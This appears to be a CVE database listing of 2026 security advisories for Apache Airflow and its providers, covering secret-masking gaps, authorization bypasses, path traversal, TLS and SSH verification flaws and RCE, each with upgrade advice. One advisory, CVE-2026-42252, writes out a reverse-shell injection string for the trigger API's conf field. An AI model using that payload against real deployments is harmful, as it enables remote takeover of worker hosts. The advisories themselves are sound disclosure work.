The Apache Airflow Git provider runs its git-over-SSH operations with `StrictHostKeyChecking=no` by default, disabling SSH host-key verification. An attacker who can intercept the network path between an Airflow worker and the Git server can impersonate the server (man-in-the-middle), capturing the SSH deploy key or injecting malicious repository content. Deployments that use the Git DAG bundle or Git provider to clone over SSH with a deploy key are affected. The fix changes the default to verify host keys; upgrade to apache-airflow-providers-git `0.4.1` or later and configure a `known_hosts` file.
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CVE-2026-49487 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
In Apache Airflow before 3.3.0, the REST API task-instance detail and list endpoints returned a deferred task's trigger kwargs without masking. When a deferred operator passed a secret (for example a provider API key) into its trigger, any authenticated user with DAG-scoped task-instance read access for that DAG could read that secret in clear text while the task was deferred. Users should upgrade to apache-airflow 3.3.0 or later, which masks sensitive values in trigger kwargs returned by the API.
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CVE-2026-49296 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Before apache-airflow 3.3.0, a user authorized to read one Dag could disclose the source of other Dags co-located in the same source file. `GET /api/v2/dagSources/{dag_id}` — and the equivalent Dag-source view in the UI — returned the entire source file without redacting Dags the caller was not authorized to read, bypassing per-DAG read authorization. Deployments that co-locate multiple Dags in a single file and rely on per-DAG access control to limit source visibility are affected; single-Dag-per-file deployments are not. Upgrade to apache-airflow 3.3.0 or later.
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CVE-2026-48892 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
The Config API in Apache Airflow surfaced per-key secrets-backend overrides (environment variables like `AIRFLOW__SECRETS__BACKEND_KWARG__SECRET_ID` and `AIRFLOW__WORKERS__SECRETS_BACKEND_KWARG__SECRET_ID`) as synthetic config options whose option names were not in `sensitive_config_values`, so the masker did not redact them. An authenticated UI/API user with Config read permission could retrieve plaintext secrets-backend credentials (Vault `role_id` / `secret_id`, etc.) from the Config API output. Affects deployments that configure secrets backends via per-key environment overrides. Users are advised to upgrade to `apache-airflow` 3.3.0 or later.
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CVE-2026-48891 4.3 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
A bug in Apache Airflow's `/ui/dependencies` scheduling graph endpoint applied the caller's readable-Dag filter to the top-level serialized Dag key but still emitted referenced Dag IDs through the `dep.source` and `dep.target` fields of trigger / sensor dependency entries. An authenticated UI user with read permission on some Dags could enumerate the identifiers of other Dags they were not authorized to read by inspecting the dependency graph for trigger / sensor references. Affects deployments that rely on per-Dag read scoping to keep Dag identifiers private across teams. This is a residual gap in the fix for CVE-2026-28563, which filtered the top-level Dag key but did not propagate the filter into the trigger / sensor dep-source / dep-target fields. Users who already upgraded for CVE-2026-28563 should additionally upgrade to `apache-airflow` 3.3.0 or later to cover the residual trigger / sensor dependency leak.
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CVE-2026-48828 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
The Bulk Variables API in Apache Airflow called the redactor without passing the variable's key, so the key-based `should_hide_value_for_key` check (which triggers on secret-suffixed key names like `*_password` / `*_token` / `*_secret`) could not fire for JSON-decodable variable values. An authenticated UI/API user with bulk Variable read permission could retrieve plaintext values from JSON variables whose key would otherwise trigger redaction. Affects deployments that store sensitive values in JSON-typed Airflow Variables under secret-suffixed key names. Users are advised to upgrade to `apache-airflow` 3.3.0 or later (the fix landed on `main` after 3.2.2; no 3.2.x backport).
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CVE-2026-33264 9.8 Critique
Apache Software Foundation Apache Airflow · Apache airflow
A bug in `BaseSerialization.deserialize()` allowed unrestricted `import_string()` of attacker-controlled class paths when the Scheduler / API Server loaded a serialized DAG: a DAG author could embed a malicious trigger into a DAG to gain remote code execution on the API Server / Scheduler process, crossing the Airflow security boundary that DAG-author code must never execute in those processes. Users are advised to upgrade to `apache-airflow` 3.3.0 or later. As a defense-in-depth mitigation, deployments where DAG-author trust is limited can restrict the `[core] allowed_deserialization_classes` config to a narrow allowlist.
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CVE-2026-49297 8.1 Élevée
Apache Software Foundation Apache Airflow Google provider · Apache apache-airflow-providers-google
Apache Airflow's Google provider operators `GCSToSFTPOperator` and `GCSTimeSpanFileTransformOperator` joined GCS object names returned by the bucket listing API directly to a destination filesystem path without normalisation or containment check. A user with write access to the source GCS bucket (typically a different trust principal than the DAG author — partner uploads, ingest-only service accounts, public-data buckets) could create an object whose name contains `..` segments and cause the DAG run to write the downloaded blob outside the configured destination (the SFTP `destination_path` for `GCSToSFTPOperator`; the worker-local temp directory for `GCSTimeSpanFileTransformOperator`), enabling overwrite of arbitrary files on the SFTP server or the worker host. Affects deployments that ingest from buckets writable by less-trusted principals. Users are advised to upgrade to `apache-airflow-providers-google` 22.2.1 or later.
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CVE-2026-49486 7.5 Élevée
Apache Software Foundation Apache Airflow FTP provider · Apache apache-airflow-providers-ftp
The Apache Airflow FTP provider's `FTPSHook.get_conn()` created an `ftplib.FTP_TLS` connection but never called `prot_p()`, so although the control channel was TLS-protected the data channel was transmitted in cleartext. Any deployment using `FTPSHook` or `FTPSFileTransmitOperator` to move files over FTPS exposed file contents and credentials-in-transit to a network attacker able to observe the data connection. Upgrade apache-airflow-providers-ftp to `3.15.1` or later, which issues `PROT P` to encrypt the data channel.
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CVE-2026-50203 9.1 Critique
Apache Software Foundation Apache Airflow SFTP provider · Apache apache-airflow-providers-sftp
A path traversal in the SFTP provider (`SFTPHook.retrieve_directory` / `SFTPOperator(operation=get)`) let a malicious or compromised remote SFTP server write files outside the configured local destination directory via crafted directory-entry names. No Airflow account is required — the attack surface is any deployment downloading directories from an untrusted SFTP server. Upgrade `apache-airflow-providers-sftp` to 5.8.1 or later.
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CVE-2026-49818 6.5 Moyenne
Apache Software Foundation Apache Airflow Samba provider · Apache apache-airflow-providers-samba
The Apache Airflow Samba provider's `GCSToSambaOperator` joined GCS object names to the SMB destination path without a containment check, so an object named with `../` segments resolved a write path outside the configured `destination_path`. An attacker able to write objects into the source GCS bucket — typically an external data producer distinct from the trusted DAG author — could write files to arbitrary locations on the Samba target when the operator ran. Upgrade apache-airflow-providers-samba to 4.12.6 or later, which validates the resolved destination stays within `destination_path`.
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CVE-2026-49298 8.8 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
A bug in Apache Airflow's KubernetesExecutor caused JWT tokens used by worker pods to authenticate against the Execution API to be passed to the worker container as command-line arguments visible in the pod spec. An authenticated UI/API user with Kubernetes read-only access to the cluster (e.g. `pods/get` in the Airflow namespace) could harvest the JWT from `kubectl describe pod` output and then call state-mutating Execution API endpoints — triggering Dag runs, clearing runs, reading or writing Variables / Connections / XComs — as if they were a running task. Affects deployments using the `KubernetesExecutor`. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. This is the airflow-core half of the same vulnerability addressed by [CVE-2026-27173](https://www.cve.org/CVERecord?id=CVE-2026-27173), which shipped the apache-airflow-providers-cncf-kubernetes side of the fix. Deployments that already upgraded `apache-airflow-providers-cncf-kubernetes` to 10.17.0 or later per the CVE-2026-27173 advisory should additionally upgrade `apache-airflow` to 3.2.2 or later to close the core-side surface — the two fixes are complementary, not duplicates.
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CVE-2026-49267 5.9 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's EmailOperator and the underlying `airflow.utils.email` helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used `[email] smtp_starttls=True` without `[email] smtp_ssl`. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded. This CVE covers the **core apache-airflow side** of the same root cause already covered for the SMTP provider by `CVE-2026-41016` (published 2026-04-27, covering `apache-airflow-providers-smtp`). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade `apache-airflow` to 3.2.2 or later to cover the core-side path through `airflow.utils.email`. Affects deployments configured with `smtp_starttls=True` and `smtp_ssl=False` where the SMTP relay is reachable across a less-trusted network segment than the worker. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-48726 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for `FabAuthManager` and `KeycloakAuthManager` did not actually reach the underlying `revoke_token()` call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with `FabAuthManager` or `KeycloakAuthManager` (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side `revoke_token()` reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the FAB / Keycloak logout paths.
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CVE-2026-46764 4.3 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
The Event Log detail endpoint `GET /api/v2/eventLogs/{event_log_id}` in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint `GET /api/v2/eventLogs` applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-45426 3.1 Faible
Apache Software Foundation Apache Airflow · Apache airflow
Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's `str.lstrip()` to the requested path segment when verifying the JWT's `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. `dag_a` would authorize log access to any other Dag whose name began with any subset of the characters `{d, a, g, _}` (e.g. `dag_attacker`, `aaaa_target`, `_dag_secret`). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-45360 7.3 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's scheduler-side deadline-reference decoder (`SerializedCustomReference.deserialize_reference`) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom `DeadlineReference` whose serialized form named an attacker-controlled module path, causing the scheduler to `import_string(...)` and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-42360 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested `password` / `token` / `secret` / `api_key` keys inside a JSON template structure) to be bypassed when the rendered field exceeded `[core] max_templated_field_length`: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into `rendered_fields`. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of `CWE-200` previously addressed for the user-registered `mask_secret()` patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the nested-key path.
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CVE-2026-42359 8.8 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
A bug in Apache Airflow's XCom PATCH endpoint `PATCH /api/v2/xcomEntries/{key}` allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. `return_value`) that the matching POST endpoint already validated against `FORBIDDEN_XCOM_KEYS`. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the `FORBIDDEN_XCOM_KEYS` validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the PATCH-path bypass.
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CVE-2026-42358 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like `password`, `token`, `secret`, `api_key`) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via `max_depth=1`); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the deep-nesting path.
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CVE-2026-42252 9.1 Critique
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
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CVE-2026-41084 7.5 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
A bug in Apache Airflow's bulk Task Instances API (`PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances`) evaluated authorization against the `dag_id` resolved from the URL path while operating on the `dag_id` / `dag_run_id` extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-41017 5.9 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-41014 4.3 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-40963 3.1 Faible
Apache Software Foundation Apache Airflow · Apache airflow
The structure_data endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
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CVE-2026-40961 7.2 Élevée
Apache Software Foundation Apache Airflow · Apache airflow
A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the `is_safe_url` check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain `next=` query parameters before they reach the login endpoint.
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CVE-2026-40861 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK's `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.
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CVE-2026-45192 6.5 Moyenne
Apache Software Foundation Apache Airflow · Apache airflow
A bug in the GET `/api/v2/connections/{connection_id}` REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's `extra` JSON blob under field names not present in the redaction allowlist (`DEFAULT_SENSITIVE_FIELDS`) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection `extra` blobs and grant Connection-read access to multiple users. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's `extra` field.
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CVE-2026-46745 5.3 Moyenne
Apache Software Foundation Apache Airflow FAB provider · Apache apache-airflow-providers-fab
Apache Airflow FAB Auth Manager contains an LDAP filter injection vulnerability (CWE-90) that allows unauthenticated attackers to exfiltrate directory data or bypass authentication. Upgrade to apache-airflow-providers-fab 3.6.4 or later. If immediate upgrade is not possible, disable LDAP authentication until the provider can be updated.
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CVE-2026-45361 8.1 Élevée
Apache Software Foundation Apache Airflow Google provider · Apache apache-airflow-providers-google
Apache Airflow providers-google's `ComputeEngineSSHHook` disables SSH host-key verification by default, exposing SSH traffic between an Airflow worker and a Compute Engine VM to in-path network attackers who can intercept or modify the session. Users are advised to upgrade to `apache-airflow-providers-google` 22.0.0 or later.
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CVE-2026-42526 5.3 Moyenne
Apache Software Foundation Apache Airflow Amazon provider · Apache apache-airflow-providers-amazon
In the AWS Secrets Manager and SSM Parameter Store secrets backends of `apache-airflow-providers-amazon` prior to 9.28.0, the team-scoping logic could resolve a `conn_id` containing a `/` (e.g. `"my_team/conn"`) to the same path as another team's team-scoped secret when the caller had no team context. A privileged caller without team context could therefore retrieve another team's secret by crafting a colliding `conn_id`. Fixed in 9.28.0 by switching the team-scope separator to `--` and rejecting team-shaped `conn_id`s when team context is absent. Affects the experimental multi-tenant teams feature only. Users are recommended to upgrade to `apache-airflow-providers-amazon` 9.28.0, which fixes the issue.
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CVE-2026-27173 8.7 Élevée
Apache Software Foundation Apache Airflow CNCF Kubernetes provider · Apache apache-airflow-providers-cncf-kubernetes
JWT tokens that were used by workers in Kubernetes Executors have been exposed to users who had read only access to Kuberentes Pods. This could allow users with just read-only access to perform actions that were only available to running tasks via Task SDK and potentially allow to modify state of Airflow Database for tasks.
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CVE-2026-43826 6.5 Moyenne
Apache Software Foundation Apache Airflow Providers OpenSearch · Apache apache-airflow-providers-opensearch
The OpenSearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:password@server.example.com:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-opensearch` 1.9.1 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[opensearch] host` URL.
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CVE-2026-41018 6.5 Moyenne
Apache Software Foundation Apache Airflow Providers Elasticsearch · Apache apache-airflow-providers-elasticsearch
The Elasticsearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:password@server.example.com:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-elasticsearch` 6.5.3 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[elasticsearch] host` URL.
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CVE-2026-41016 5.9 Moyenne
Apache Software Foundation Apache Airflow Providers SMTP · Apache airflow
Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls()` without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent `login()` call. Users are advised to upgrade to the `apache-airflow-providers-smtp` version that contains the fix.